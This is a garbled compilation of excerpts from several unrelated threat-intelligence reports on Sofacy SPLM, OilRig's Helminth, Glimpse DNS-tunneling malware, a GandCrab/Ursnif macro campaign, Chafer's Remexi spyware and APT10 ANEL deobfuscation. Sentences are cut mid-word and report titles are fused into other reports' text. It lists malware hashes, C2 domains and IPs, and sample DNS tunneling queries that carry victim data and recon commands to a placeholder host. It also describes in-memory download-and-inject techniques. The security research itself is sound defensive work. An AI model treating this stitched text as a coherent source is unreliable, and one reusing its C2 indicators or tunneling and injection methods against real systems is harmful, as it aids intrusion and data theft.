One outlier SPLM target profile within our visibility includes an audit and consulting firm in Bosnia and Herzegovina .
Minor changes and updates to the code were released with these deployments , including a new mutex format and the exclusive use of encrypted HTTP communications over TLS .
The compiled code itself already is altered per deployment in multiple subtle ways , in order to stymie identification and automated analysis and accommodate targeted environments .
Strings ( c2 domains and functionality , error messages , etc ) are custom encrypted per deployment .
This subset of SPLM / CHOPSTICK activity leads into several small surprises that take us into 2018 , to be discussed in further detail at SAS 2018 .
The group demonstrates malleability and innovation in maintaining and producing familiar SPLM functionality , but the pragmatic and systematic approach towards producing undetected or difficult-to-detect malware continues .
Changes in the second stage SPLM backdoor are refined , making the code reliably modular .
It ’s interesting to note that this version of SPLM implements communications that are fully encrypted over HTTPS .
As an example , we might see extraneous data in their SSL / TLS certificates that give away information about their provider or resources .
Leading up to summer 2017 , infrastructure mostly was created with PDR and Internet Domain Service BS Corp , and their resellers .
Hosting mostly was provided at Fast Serv Inc and resellers , in all likelihood related to bitcoin payment processing .
From April 19-24 , 2017 , a politically-motivated , targeted campaign was carried out against numerous Israeli organizations .
Morphisec researchers began investigating the attacks on April 24 and continue to uncover more details .
Initial reports of the attacks , published April 26 ( in Hebrew ) by the Israel National Cyber Event Readiness Team ( CERT-IL ) and The Marker , confirm that the attack was delivered through compromised email accounts at Ben-Gurion University and sent to multiple targets across Israel .
Ironically , Ben-Gurion University is home to Israel ’s Cyber Security Research Center .
Investigators put the origin of the attack as Iranian ; Morphisec ’s research supports this conclusion and attributes the attacks to the same infamous hacker group responsible for the OilRig malware campaigns .
The fileless attack was delivered via Microsoft Word documents that exploited a former zero-day vulnerability in Word , CVE-2017-0199 , to install a fileless attack variant of the Helminth Trojan agent .
Microsoft released the patch for the vulnerability on April 11 , but many organizations have not yet deployed the update .
The attackers actually based their attack on an existing Proof-of-Concept method that was published by researchers after the patch release .
By hunting through known malware repositories , Morphisec identified matching samples uploaded by Israeli high-tech development companies , medical organizations and education organizations , indicating that they were victims of the attack .
For security purposes , Morphisec is not revealing these names .
Upon deeper investigation into the installed Helminth fileless agent , we identified a near perfect match to the OilRig campaign executed by an Iranian hacker group against 140 financial institutions in the Middle East last year , as analyzed by FireEye , Palo Alto Networks and Logrhythm .
This group has become one of the most active threat actors , with noteworthy abilities , resources and infrastructure ; speculations indicate the hacking organization to be sponsored by the Iranian government .
In other recent attacks ( January 2017 ) , the group used a fake Juniper Networks VPN portal and fake University of Oxford websites to deliver malware as described by ClearSky .
Name SHA256 .
13.doc : a9bbbf5e4797d90d579b2cf6f9d61443dff82ead9d9ffd10f3c31b686ccf81ab .
558.doc , 2.doc: 2869664d456034a611b90500f0503d7d6a64abf62d9f9dd432a8659fa6659a84 .
1.doc : 832cc791aad6462687e42e40fd9b261f3d2fbe91c5256241264309a5d437e4d8 .
3.doc : d4eb4035e11da04841087a181c48cd85f75c620a84832375925e6b03973d8e48 .
The most notable difference from last year ’s OilRig campaign is the way the attack was delivered .
In the previous campaign , the Iranian group sent specially crafted Excel and Word files , which contained macros that targeted individuals were convinced to enable .
Name Delivery Server .
test4.hta http://comonscar.in ( 82.145.40.46 ) .
test5.hta 80.82.67.42 .
test1.hta reserved .
SHA256: 5ac61ea5142d53412a251eb77f2961e3334a00c83da9087d355a49618220ac43 .
Name SHA256 .
0011.ps1 042F60714E9347DB422E1A3A471DC0301D205FFBD053A4015D2B509DB92029D1 .
1.vbs BE7F1D411CC4160BB221C7181DA4370972B6C867AF110C12850CAD77981976ED .
A Glimpse into Glimpse For the second blog post in our series, the IronNet Threat Research Team examines the Glimpse malware that is written in PowerShell and has been associated withOur first post about analyzing malware with DNS tunneling capabilities focuses on how the PoisonFrog malware uses DNS tunneling to send and receive victim information and commands .
Glimpse : 6e86c57385d26a59c0df1580454b9967 .
Glimpse is a PowerShell script that is executed silently by Visual BasicBased on the code, it is unclear what initiates the Visual Basic scriptHowever, a variety of typical persistence mechanisms, such as a scheduled task, could serve thatAfter Glimpse starts, it checks for the existence of a directory and lockIf no directory or lock file is found, Glimpse createsAlternatively, if these do exist and the lock file is older than 10 minutes, the lock file is deleted and the previously running Glimpse script isAfter the initial checks described above, Glimpse creates a hidden file that contains an agent ID, which is a simple concatenation of a random number 10-99 and the first 8 characters of a GUID withoutThe methods employed by Glimpse to perform DNS communications are determined by the mode in which it is operating (i.e., text mode or pingIn text mode, Glimpse manually builds a DNS query to be transmitted over a UDP socket .
In ping mode, Glimpse uses a .NETThe table below describes the operational mode, record types used, and the method used to send theThe first DNS query by Glimpse requests the mode to be used in future communications with the controller (i.e., ping mode or textPrior to making any query, a function called AdrGen is used to build a queryThis function takes several parameters, most of which are represented in the subdomain label(s) of the queryBelow is a list of AdrGenAs mentioned above, one of the parameters passed to the AdrGen function is the actionTable 5: Glimpse action parameters values for the AdrGen function below contains the possible parameters, a brief description, and return values applicable to the actionThe query to set the receive mode expects an A resource record response from theThe controller will respond with one of two responses: 99.250.250.199 will set the receive mode toAny other IP address will set the receive mode to ping, although the server-side software suggests 199.250.250.99 will beWhen set in text receive mode, the malware uses the AdrGen function to create another query string with the r (receiver) flag and a W (wait) actionThe expected TXT record response has the following structure:In our sample traffic, the TXT resource record returned contained:This response tells the malware to set a variable for the file name to receivebox\rcvd10100 and set the next query action to D in order to request the next chunk ofThe malware sends another TXT query with the receiverThis query is depicted below: 39e9D60005eca60000BCC64T.sample-domain.evil In the case of our sample traffic, the server responded with the following TXT resource record data:The controller provided the malware with base64-encoded data to beThe data will eventually be written to disk and the malware sets the next query action to D in order to request the next chunk ofThe decoded data shows a command to be executed whoami&ipconfig /all on the victimThe malware sends another TXT query with the receiver structure, as depictedNote the request number parameter is now 0001: 39e965e000caD60001679C79T.sample-domain.evil .
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The TXT record returned contained data: E0000>0 .
The controller issued the command to write the base64-decoded and modified data to the file name set earlier in the exchange .
After the file is written, the malware moves on to process operations .
Glimpse can be set to use ping mode in several ways while performing receive operations .
If a query with the M action returns an IP address that is not 99.250.250.199 , the malware will use ping mode .
It is worth noting that the IP response observed to set ping mode was the reverse of the IP used to set text mode (i.e., 199.250.250.99 ) .
Ping mode will also be set if exceptions occur more than three times during textIn the latter case, the P action is passed as one of the parameters to AdrGen and the query is made for an A resource record using the [System.Net.Dns]::GetHostAddressesIf performing receive operations in ping mode, Glimpse makes a query with the 0 action to contact the controller forThis query uses a receive structure similar to an M action; it is worth noting all of the receiver operation queries made in ping mode use the [System.Net.Dns]::GetHostAddressesIn our sample, after the malware sent the 0 action, the controller responded with an A record containing 24.125.10.140 .
This response tells the malware to: Set the file name for the data that will follow to 10140, Set the part number to 0, Parse response data, Set a 1 action for the nextQuery: 00039e9650eca66C06T.sample-domain.evil , Response: 24.125.10.140 , File name: 10140, Query: 139e965e000ca6D2C80T.sample-domain.evil , Response: 110.101.116.0 , Query: 00339e965e1ca6EF4C07T.sample-domain.evil , Response: 32.117.115.3 , Query: 30069e 1965eca6FE8C13T.sample-domain.evil, Response: 101.114.32.6 , Query: 391 e960095eca63570BC62T.sample-domain.evil , Response: 1.2.3.0 .
In this case, the content net user is written toAfter writing the data to disk, receiver operations are complete and processor operationsAfter writing the data received from the controller, a function is called to process the receivedThe processor function builds a list of files from the files with content that match rcvd* in the receiveboxSimilar to PoisonFrog , the last digit of the received file name determines how the content of the file isIn our sample traffic, after executing the commands sent via cmd.exe , Glimpse writes the output of the commands in the sendbox directory to the appropriate file names (e.g., 10100 or 10140) prepended with proc (e.g.,Once written, the send operationsSimilar to text mode receiver, after AdrGen builds the string, a function to manually build and send the DNS query packet isThe text mode sender uses the same hardcoded transaction ID 0xa4a3; however, instead of sending queries for TXT resource records, the malware uses A resourceAs with the text mode receiver, the query is made with a direct connection to the controller IP address as opposed to allowing the query to propagate the native DNSIf the send function is being invoked in ping mode, the process described above is followed; however, instead of manually building and transmitting the DNS query, the [System.Net.Dns]::GetHostAddresses method isWith that method, the malware’s query will traverse the native DNS architecture as opposed to the victim making a direct connection to theThe send function uses several counters to maintain various pieces of information used to control the flow ofAn exception counter is used to track the number of exceptions and will exit the send loop if a threshold isThe send counter is used to track the number of chunks sent to theAn additional counter exists to handle cases where the file being sent is larger than 250The send counter is initialized to 0 and read from the fourth octet of the A record returned by theThe send counter is also passed to the AdrGen function as the part number parameter and is visible in the query string as depicted below: Query: 239e965ec000a60000B6C90T.COCTab33333233332222222222222222210100A3280AAAAAAAAAAAAAAAAA.33333210100A.sample-domain.evil , Response: 39.2.3.1 , Query: 230019e965eca60000A16DC20T.EBB466767667256666772556776662FBFD932F3F64079E4F730B65239FE0.33333210100A.sample-domain.evil , Response: 39.2.3.2 , Query: 392e002965eca60000C6D18C42T.33232333332333500262233332466710E0E18362E239DDA839020190D932.33333210100A.sample-domain.evil .
When the send loop has fewer than 60 bytes to send (e.g., a small file or the last part of a file), the send function transmits the remaining bytes with a shorter dataWhen there are no more bytes to send, a hardcoded file end marker COCTabCOCT is sent in the data section and the send loop will beThe controller responds with the 253.25.42.87 A recordQuery: 239055e965eca60000CC30T.66654667676673003300C93CC92212953EDACEDA.33333210100A.sample-domain.evil , Response: 39.2.3.56 , Query: 05639e9652eca6000057C06T.COCTabCOCT33333210100A.sample-domain.evil , Response: 253.25.42.87 .
Once an A record response is received by the malware containing 253.25.42.87 , several variables are set in preparation to exit the sendAfter the send operation is complete, the lock file for the current run is deleted and the scriptMany of the capabilities discovered in Glimpse were also present in the malware analyzed in part one of thisGlimpse added the ability to use an alternate DNS resource record type (TXT) as opposed to solely relying on A resource records for DNSUsing TXT resource records enabled the actors to provide tasking in fewer transactions due to the amount of data that can be transmitted in a TXTTo support this capability, the adversaries chose to manually craft the DNS queries and communicate directly with the controller as opposed to using existing .NET DNSThe differences between PoisonFrog and Glimpse highlight the ease at which adversaries can modify their tools to meet their endWith regard to detection, several methods can be used to identify this type of C2Performing entropy calculations on subdomain labels can help highlight the amount of randomness in a label, but this is just one of many possible data analysis points, since a standalone feature may not be enough to determine whether traffic isThe IronDefense Network Traffic Analysis platform combines several behavioral detection methods alongside historical network information to detect the C2 techniques used by Glimpse and otherCarbon Black TAU ThreatSight Analysis GandCrab and UrsnifThe Carbon Black ThreatSight team observed an interesting campaign over the last month .
ThreatSight worked with the Threat Analysis Unit ( TAU ) to research the campaign .
This report is being released to help researchers and security practitioners combat this campaign as new samples are being discovered in the wild daily .
This attack , if successful , can infect a compromised system with both Ursnif malware and GandCrab ransomware .
The overall attack leverages several different approaches , which are popular techniques amongst red teamers , espionage focused adversaries , and large scale criminal campaigns .
This campaign originally came in via phishing emails that contained an attached Word document with embedded macros , Carbon Black located roughly 180 variants in the wild .
The macro would call an encoded PowerShell script and then use a series of techniques to download and execute both a Ursnif and GandCrab variant .
This campaign has been discussed at a high level by other researchers publicly .
Carbon Black product specific content can be located in the User Exchange .
In this campaign the attackers used a MS Word document ( .doc format ) to deliver the initial stages .
It should be noted that out of the roughly 180 Word variants that were located by Carbon Black , the biggest difference in the documents was the metadata and junk data located in the malicious macros .
However the metadata clearly showed that the documents prepared for this campaign were initially saved on December 17 , 2018 and have continued to be updated through January 21 , 2019 .
Several metadata fields ( specifically title , subject , author , comments , manager , and company ) appear to have been populated with different data sets .
For example the subject in all the samples was a combination of a US state and a common first name ( like Utah Erick or Tennessee Dayna ) .
For this post the following sample was analyzed .
Richard_Johnson.doc : 878e4e8677e68aba918d930f2cc67fbe 0a3f915dd071e862046949885043b3ba61100b946cbc0d84ef7c44d77a50f080 .
The document contained a VBS macro that once decompressed was approximately 650 lines of code .
The vast majority of that was junk code .
Once the junk code was removed from the VBScript , there are approximately 18 lines of relevant code , which ultimately call a shape box in the current document .
The variable names themselves are not relevant , however the methods in bold below will retrieve the AlternativeText field from the specified shape , which is then executed .
The alternate text can easily be observed in the body of the office document .
The area highlighted in blue is the shape name that is being located , while the text itself is highlighted in red .
It is clear that the text is a base64 encoded command , that is then executed by the above VBScript .
The PowerShell script will first create an instance of the .Net Webclient class and then enumerate the available methods using the GetMethods() call ( highlighted in the image in red ) .
The enumerated methods are stored , then a for loop looks first for the method named DownloadString ( highlighted in blue ) .
If the DownloadString method is located it will contact the hard coded C2 requesting a file , which is downloaded and then invoked ( highlighted in blue ) .
It should be noted that because the requested resource is being stored as a string and executed , this all occurs in memory .
Additional Analysis of the downloaded string is provided in the Gandcrab cradle section below .
The loop then looks for the method name DownloadData , and if located will download a resource from a second C2 .
This request is then stored in the CommonApplicationData directory ( C:\ProgramData in Vista and later ) as the hard coded file name ( highlighted in green ) .
The script will utilize the hard coded DCOM object C08AFD90-F2A1-11D1-8455-00A0C91F3880 , which is the ClassID for the ShellBrowserWindow .
A previous blog post by enigma0x3 , detailed how this CLSID can be leveraged to instantiate the ShellBrowserWindow object and call the ShellExecute method , which is the same approach that was taken by the attackers .
This approach has also been used in different Empire modules .
The payloads that are downloaded in the above steps are then executed on the system .
The first payload that is downloaded via the DownloadString method highlighted above , is a PowerShell one-liner that uses an IF statement to evaluate the architecture of the compromised system , and then downloads a additional payload from pastebin.com .
This additional payload is then executed in memory .
The image below depicts the contents of the o402ek2m.php file .
It should be noted that the contents of o402ek2m.php were updated by the attackers to reference different pastebin uploads throughout this campaign .
Also updated was the function name that is invoked , in the example below it was CJOJFNUWNQKRTLLTMCVDCKFGG , however this was dynamically changed to match the name of the function that would be present in pastebin file that was being downloaded .
Once the raw contents of the pastebin.com post were downloaded , that data would also be executed in memory .
In the variants that were obtained during this campaign the file contained a PowerShell script that was approximately 2800 lines .
This PowerShell script is a version of the Empire Invoke-PSInject module , with very few modifications .
The majority if the modifications are of removing comments and renaming variables .
The script will take an embedded PE file that has been base64 encoded and inject that into the current PowerShell process .
The image below is the main function that is being called which in turns calls the function responsible for injecting the embedded PE file .
The base64 encoded PE file that can be seen in line 2760 of the image above is a GandCrab Variant .
This variant ( the metadata for which is listed below ) is Gandcrab versionkrab5.dll : 0f270db9ab9361e20058b8c6129bf30e d6c53d9341dda1252ada3861898840be4d669abae2b983ab9bf5259b84de7525 , Mon Oct 29 17:39:23 2018 UTC .
krab5.text : 019bc7edf8c2896754fdbdbc2ddae4ec .
krab5.rdata : d6ed79624f7af19ba90f51379b7f31e4 .
krab5.data : 1ec7b57b01d0c46b628a991555fc90f0 .
krab5.rsrc : 89b7e19270b2a5563c301b84b28e423f .
krab5.reloc : 685c3c775f65bffceccc1598ff7c2e59 .
The second payload , downloaded via the DownloadData method , is a Ursnif executable .
In this instance it is saved to the C:\ProgramData directory with a pseudo random name .
It should be noted that the file name was changed throughout this campaign .
Once executed the Ursnif sample will conduct the typical actions observed in Ursnif samples , like credential harvesting , gathering system and process information , and deploying additional malware samples .
The information for this specific sample is listed below .
However , numerous Ursnif variants were hosted on the bevendbrec.com site during this campaign .
Carbon Black was able to discover approximately 120 different Ursnif variants that were being hosted from the domains iscondisth.com and bevendbrec.com .
irongreen.exe : 404d25e3a18bda19a238f77270837198 c064f6f047a4e39014a29c8c95526c3fe90d7bcea5ef0b8f21ea306c27713d1f , Sun Dec 18 11:04:31 2011 UTC .
irongreen.text : 85aa9117c381eae3d181ab63daab335e .
irongreen.rdata : 3e1c774bc4e0ffc2271075e621aa3f3d .
irongreen.data : 6c389e5e301564f65dcad4811dbded8b .
irongreen.rsrc : efba623cc62ffd0ccbf7f3fbf6264905 .
irongreen.reloc : 6cf46599a57a6cbc5d18fbb2883620ce .
While researching this campaign approximately 180 variants were located in the wild .
Using the VirusTotal Graph functionality these variants could be organized into several groups that were commonly associated by either metadata or document structures like macros or embedded image files ( depicted in the image below ) .
The image below highlights the nodes associated with the samples analyzed in this report .
The graph can also be viewed in the VTGraph Console for additional exploration .
The graph highlights the at least 3 different variants of Ursnif that were being hosted on the bevendbrec.com site .
The Ursnif variants were primarily grouped by C2 infrastructure .
The large grouping on the right of the diagram are direct variants of the sample referenced in this write up .
Samples in this grouping were all hosted on sites that were called by the second stage .
The samples had minor changes , and were presumably changed by the attackers to avoid detection by hash .
Word Dropper Variant cc5a14ff026ee593d7d25f213715b73833e6b9cf71091317121a009d5ad7fc36 7ce3d9fc86396fac9865607594395e94 Word Dropper Variant 28a8d6b8a0cdcb25d098e403cc8b6dcb855cb591f0b54c2e3363b5c580d92b28 74c7aed44680100e984251ce2cdbdbc6 Word Dropper Variant facbc2cb089668197ca3968a3433b6f4826430c13f7d1c75b44667307c67dfe3 10f308d78adda567d4589803ce18cc9b Word Dropper Variant e714a5147335245c386b105bb7494a8b190b6a737ba28f029561efe48105cd11 f279d0f04874327b85221697d99de321 Word Dropper Variant 56c46ef3d5bd544fa35f6e336d3be93cf36e72d0273fa1dbc915979f2d883e9d bc1b322e7efc19417ab0d0524ccb9ff2 .
Ursnif Variant 446ffd272c79554a19b5f4299327fb74b8ff457681d10571caa6eea51ec406b0 ea7e1650031c92b7377788f05926034e Ursnif Variant 42636f3185c9e398958aad272d983c8b8b1409df4ce93f1f8f608e190290f56d 377cd85d8d68fc58976a123aa151c5e0 Ursnif Variant 24b2141c1134ef14f33a38c58342b6573940c5460d03a2945fafac36e32e6889 b73cbffea8094cfa18b067d9568c53e7 Ursnif Variant e53b0a60c238c45019089bdf7f16d5f47b7ba15ca2c918e385c41f0c2076eb52 24fe5a6196e32749cd030ab51824cabe Ursnif Variant 4c8de1713f830819e8354b653fd19a5cafd0bc8fa3145eedf555f24261c874de 589734cb60aa515599c687539c520049 .
GandCrab Variant d6c53d9341dda1252ada3861898840be4d669abae2b983ab9bf5259b84de7525 ce1ee671fe5246a9c40b624ef97e4de1 GandCrab Variant aca0b96126c813b0d29d6fbff9175f8ca62ff2ec6eed83bff76a73ae717cfcb8 07f955796a252771861c8e0db06b1f01 GandCrab Variant 8cd45f8c8f2ed0109db6a64f9945f3dcb8a780f65c76aedded7b8af95e6dc7ec 4fcd0d13ea669a83a749ae5bfb098ca2 GandCrab Variant 933210a9d19b25e0711ae88eece1ba06bb035a01ab2880cc707ff55bdd3b8dd0 8ec87fd3ea777fa8d5160dc957e6683e GandCrab Variant e564e87958b3e76bc9bfeb5bed773b7a17f3a82f84872acdbb609aa43a9cd776 c7d5077960882259b85c01fd41c49ffd .
Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities Throughout the autumn of 2018 we analyzed a long-standing (and still active at that time) cyber-espionage campaign that was primarily targeting foreign diplomatic entities based in Iran .
The attackers were using an improved version of Remexi in what the victimology suggests might be a domestic cyber-espionageThis malware has previously been associated with an APT actor that Symantec calls Chafer .
The malware can exfiltrate keystrokes, screenshots, browser-related data like cookies and history, decrypted whenThe attackers rely heavily on Microsoft technologies on both the client and server sides: the Trojan uses standard Windows utilities like Microsoft Background Intelligent Transfer Service (BITS ) bitsadmin.exe to receive commands and exfiltrateIts C2 is based on IIS using .asp technology to handle the victims’ HTTPRemexi developers use the C programming language and GCC compiler on Windows in the MinGWThey most likely used the Qt Creator IDE in a WindowsThe malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLMXOR and RC4 encryption is used with quite long unique keys for differentAmong all these random keys once the word “salamati” was also used, which means “health” in Farsi .
Kaspersky Lab products detect the malware described in this report as Trojan.Win32.Remexi and Trojan.Win32.Agent .
This blogpost is based in our original report shared with our APT Intelligence Reporting customers last November 2018 .
The main tool used in this campaign is an updated version of the Remexi malware, publicly reported by Symantec back in 2015 .
The newest module’s compilation timestamp is March 2018 .
The developers used GCC compiler on Windows in the MinGWInside the binaries the compiler left references to the names of the C source file modules used: operation_reg.c , thread_command.c and thread_upload.c .
Like mentioned in modules file names the malware consists of several working threads dedicated to different tasks, including C2 command parsing and dataFor both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS ) mechanism to communicate with the C2 overSo far, our telemetry hasn’t provided any concrete evidence that shows us how the Remexi malwareHowever, we think it’s worth mentioning that for one victim we found a correlation between the execution of Remexi´s main module and the execution of an AutoIt script compiled as PE , which we believe may have dropped theThis dropper used an FTP with hardcoded credentials to receive itsFTP server was not accessible any more at the time of ourRemexi boasts features that allow it to gather keystrokes, take screenshots of Windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remoteEncryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim’sRemexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliaryThe Remexi developers seem to rely on legitimate Microsoft utilities, which we enumerate in the table below： extract.exe Deploys modules from the .cab file into the working Event Cache directory, bitsadmin.exe Fetches files from the C2 server to parse and executeSend exfiltrated data, taskkill.exe Ends working cycle ofPersistence modules are based on scheduled tasks and systemMechanisms vary for different OSIn the case of old Windows versions like XP , main module events.exe runs an edited XPTask.vbs Microsoft sample script to create a weekly scheduled task forFor newer operating systems, events.exe creates task.xml .
To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for everyRC4 file encryption relies on the Windows 32 CryptoAPI , using the provided value’s MD5 hash as an initialAmong all these random keys once the word “salamati” was also used, which means “health” inConfig.ini is the file where the malware stores its encrypted configuration data.List of files to send to C2 using bitsadmin.exe from the dedicated thread: upLog.txt , upSCRLog.txt , upSpecial.txt , upFile.txt , upMSLog.txt .
http://108.61.189.174 control server HTTPKtJvOXulgibfiHk is the password for uploaded zipOne of the malware threads checks in an infinite loop if the mouse button was pressed and then also increments the integer iteratorIf the mouse hooking function registers a button hit, it lets the screenshotting thread know about it through a globalAfter that, it checks if the iterator divided by (captureScreenTimeOut/captureActiveWindowTimeOut) has a remainder ofIn that case, it takes aevents.exe : b1fa803c19aa9f193b67232c9893ea57574a2055791b3de9f836411ce000ce31 , c981273c32b581de824e1fd66a19a281 , GCC compiler in MinGW environment version 2.24, I386 Windows GUI EXE .
After checking that the malware is not already installed , it unpacks HCK.cab using the Microsoft standard utility expand.exe .
Splitter.exe : a77f9e441415dbc8a20ad66d4d00ae606faab370ffaee5604e93ed484983d3ff , 1ff40e79d673461cd33bd8b68f8bb5b8 , 2017.08.06 11:32:36 (GMT), I386 Windows Console EXE .
Exfiltration is done through the bitsadmin.exeThe BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OSThe vast majority of the users targeted by this new variant of Remexi appear to have Iranian IPSome of these appear to be foreign diplomatic entities based in theThe Remexi malware has been associated with an APT actor called Chafer by Symantec .
One of the human-readable encryption keys used isThis is probably the Latin spelling for the word “health” in Farsi .
Among the artifacts related to malware authors, we found in the binaries a .pdb path containing the Windows user name “MohamadrezaInterestingly, the FBI website for wanted cybercriminals includes two Iranians called Mohammad Reza, although this could be a common name or even a falseActivity of the Chafer APT group has been observed since at least 2015 , but based on things like compilation timestamps and C&C registration, it’s possible they have been active for evenDefeating Compiler-Level Obfuscations Used in APT10 Malware .
The Carbon Black Threat Analysis Unit ( TAU )recently analyzed a series of malware samples that utilized compiler-level obfuscations .
For example ,opaque predicates were applied to Turla mosquito and APT10 ANEL .
Another obfuscation ,control flow flattening ,was applied to APT10 ANEL and Dharma ransomware packer .
ANEL ( also referred to as UpperCut )is a RAT program used by APT10 and observed in Japan uniquely .
According to SecureWorks ,all ANEL samples whose version is 5.3.0 or later are obfuscated with opaque predicates and control flow flattening .
Opaque predicate is a programming term that refers to decision making where there is actually only one path .
For example ,this can be seen as calculating a value that will always return True .
Control flow flattening is an obfuscation method where programs do not cleanly flow from beginning to end .
a switch statement is called in an infinite loop having multiple code blocks each performing operations .
The obfuscations looked similar to the ones explained in Hex-Rays blog ,but the introduced IDA Pro plugin HexRaysDeob didn’t work for one of the obfuscated ANEL samples because the tool was made for another variant of the obfuscation .
TAU investigated the ANEL obfuscation algorithms then modified the HexRaysDeob code to defeat the obfuscations .
After the modification ,TAU was able to recover the original code .
HexRaysDeob is an IDA Pro plugin written by Rolf Rolles to address obfuscation seen in binaries .
In order to perform the deobfuscation ,the plugin manipulates the IDA intermediate language called microcode .
If you aren’t familiar with those structures ( e.g ,microcode data structures ,maturity level ,Microcode Explorer and so on )you should read his blog post .
Rolles also provides an overview of each obfuscation technique in the same post .
HexRaysDeob installs two callbacks when loading :optinsn_t for defeating opaque predicates ( defined as ObfCompilerOptimizer )optblock_t for defeating control flow flattening ( defined as CFUnflattener )Before continuing ,it is important to understand Hex-Rays maturity levels .
When a binary is loaded into IDA Pro ,the application will perform distinct layers of code analysis and optimization ,referred to as maturity levels .
One layer will detect shellcode ,another optimizes it into blocks ,another determines global variables ,and so forth .
The optinsn_t : :f unc callback function is called in maturity levels from MMAT_ZERO ( microcode does not exist )to MMAT_GLBOPT2 ( most global optimizations completed )During the callback ,opaque predicates pattern matching functions are called .
If the code pattern is matched with the definitions ,it is replaced with another expression for the deobfuscation .
This is important to perform in each maturity level as the obfuscated code could be modified or removed as the code becomes more optimized .
We defined two patterns for analysis of the ANEL sample .
The global variable value dword_745BB58C is either even or odd ,so dword_745BB58C * ( dword_745BB58C – 1 )is always even .
This results inthe lowest bit of the negated value becoming 1 .
OR by -2 ( 0xFFFFFFFE )will always produce the value -1 .
In this case ,the pattern matching function replaces dword_745BB58C * ( dword_745BB58C – 1 )with 2 .
The global variable value dword_72DBB588 is always 0 because the value is not initialized ( we can check it by is_loaded API )and has only read accesses .
So the pattern matching function replaces the global variable with 0 .
There are some variants with this pattern ( e.g , the variable – 10 < 0 )where the immediate constant can be different .
We also observed a pattern that was also using an 8-bit portion of the register .
In the following example ,the variable v5 in pseudocode is a register operand ( cl )in microcode .
We need to check if the value comes from the result of x * ( x – 1 )In another example ,the variable v2 in pseudocode is a register operand ( ecx )in microcode .
We have to validate if a global variable with above-mentioned conditions is assigned to the register .
Data-flow tracking code was added to detect these use-cases .
The added code requires that the mblock_t pointer information is passed from the argument of optinsn_t : :f unc to trace back previous instructions using the mblock_t linked list .
the callback returns NULL from the mblock_t pointer if the instruction is not a top-level one .
If the setl is always sub-instruction during the optimization ,we never get the pointer .
To handle this type of scenario ,the code was modified to catch and pass the mblock_t of the jnz instruction to the sub-instruction .
The original implementation calls the optblock_t : :f unc callback function in MMAT_LOCOPT ( local optimization and graphing are complete )maturity level .
Rolles previously explained the unflattening algorithm in a Hex-Rays blog .
For brevity I will quickly cover some key points to understand the algorithm at a high level .
Normally the call flow graph ( CFG )of a function obfuscated with control flow flattening has a loop structure starting with yellow-colored “ control flow dispatcher ”like this ,shown after the First Block .
The original code is separated into the orange-colored “ first block ”and green-colored flattened blocks .
The analyst is then required to resolve the correct next block and modify the destination accordingly .
The next portion of first block and each flattened block is decided by a “ block comparison variable ”with an immediate value .
The value of the variable is assigned to a specific register in each block then compared in a control flow dispatcher and other condition blocks .
If the variable registers for the comparison and assignment are different ,the assignment variable is called “ block update variable ”( which is further explained later )The algorithm looks straightforward however some portions of the code had to be modified in order to correctly deobfuscate the code .
This is further detailed below .
As previously detailed ,the original implementation of the code only works in MMAT_LOCOPT maturity level .
Rolles said this was to handle another obfuscation called “ Odd Stack Manipulations ”referred in his blog )However the unflattening of ANEL code had to be performed in the later maturity level since the assignment of block comparison variable heavily depends on opaque predicates .
As an example in the following obfuscated function ,the v3 and v7 variables are assigned to the block comparison variable ( b_cmp )However the values are dependent on opaque predicates results .
Once the opaque predicates are broken ,the loop code becomes simpler .
Unflattening the code in later maturity levels like MMAT_GLBOPT1 and MMAT_GLBOPT2 ( first and second pass of global optimization )caused additional problems .
The unflattening algorithm requires mapping information between block comparison variable and the actual block number ( mblock_t : :s erial )used in the microcode .
In later maturity levels ,some blocks are deleted by the optimization after defeating opaque predicates ,which removes the mapping information .
In the example below ,the blue-highlighted immediate value 0x4624F47C is assigned to block comparison variable in the first block .
The mapping can be created by checking the conditional jump instruction ( jnz )in MMAT_LOCOPT .
Additionally here is no mapping information in MMAT_GLBOPT2 because the condition block that contains the variable has been deleted .
So the next block of the first one in the level can not be determined .
To resolve that issue ,the code was written to link the block comparison variable and block address in MMAT_LOCOPT ,as the block number is changed in each maturity level .
If the code can’t determine the mapping in later maturity levels ,it attempts to guess the next block number based on the address ,considering each block and instruction addresses .
The guessing is not 100% accurate however it works for the majority of obfuscated functions tested .
Though the original implementation assumes an obfuscated function has only one control flow dispatcher ,some functions in the ANEL sample have multiple control dispatchers .
Originally the code called the optblock_t : :f unc callback in MMAT_GLBOPT1 and MMAT_GLBOPT2 ,as the result was not correct in MMAT_CALLS ( detecting call arguments )this did not work for functions with three or more dispatchers .
Hex-Rays kernel doesn’t optimize some functions in MMAT_GLBOPT2 if it judges the optimization within the level is not required .
In this case ,the callback is executed just once in the implementation .
To handle multiple control flow dispatchers ,a callback for decompiler events was implemented .
The code catches the “ hxe_prealloc ”event ( according to Hex-Rays ,this is the final event for optimizations )then calls optblock_t : :f unc callback .
Typically this event occurs a few times to several times ,so the callback can deobfuscate multiple control flow flattenings .
Other additional modifications were made to the code ( e.g , writing a new algorithm for finding control flow dispatcher and first block ,validating a block comparison variable ,and so on )After the modification ,for example ,the following functions with multiple control flow dispatchers can be unflattened .
The original implementation supports the following two cases of flattened blocks to find a block comparison variable for the next block ( the cases are then simplified )In the second case ,block comparison variable is searched in each block of endsWithJcc and nonJcc .
If the next block is resolved ,the CFG ( specifically mblock_t : :p redset and mblock_t : :s uccset )and the destination of goto jump instruction are updated .
The code tracks the block comparison variable in each predecessor and more ( if any conditional blocks before the predecessor )to identify each next block for unflattening .
in the third case that was implemented ,the block comparison variables are not assigned in the flattened blocks but rather the first blocks according to a condition .
For example ,the following microcode graph shows edi is assigned to esi ( the block comparison variable in this case )in block number 7 but the edi value is assigned in block number 1 and 2 .
If the immediate value for block comparison variable is not found in the flattened blocks ,the new code tries to trace the first blocks to obtain the value and reconnects block number 1 and 2 as successors of block number 7 ,in addition to normal operations mentioned in the original cases .
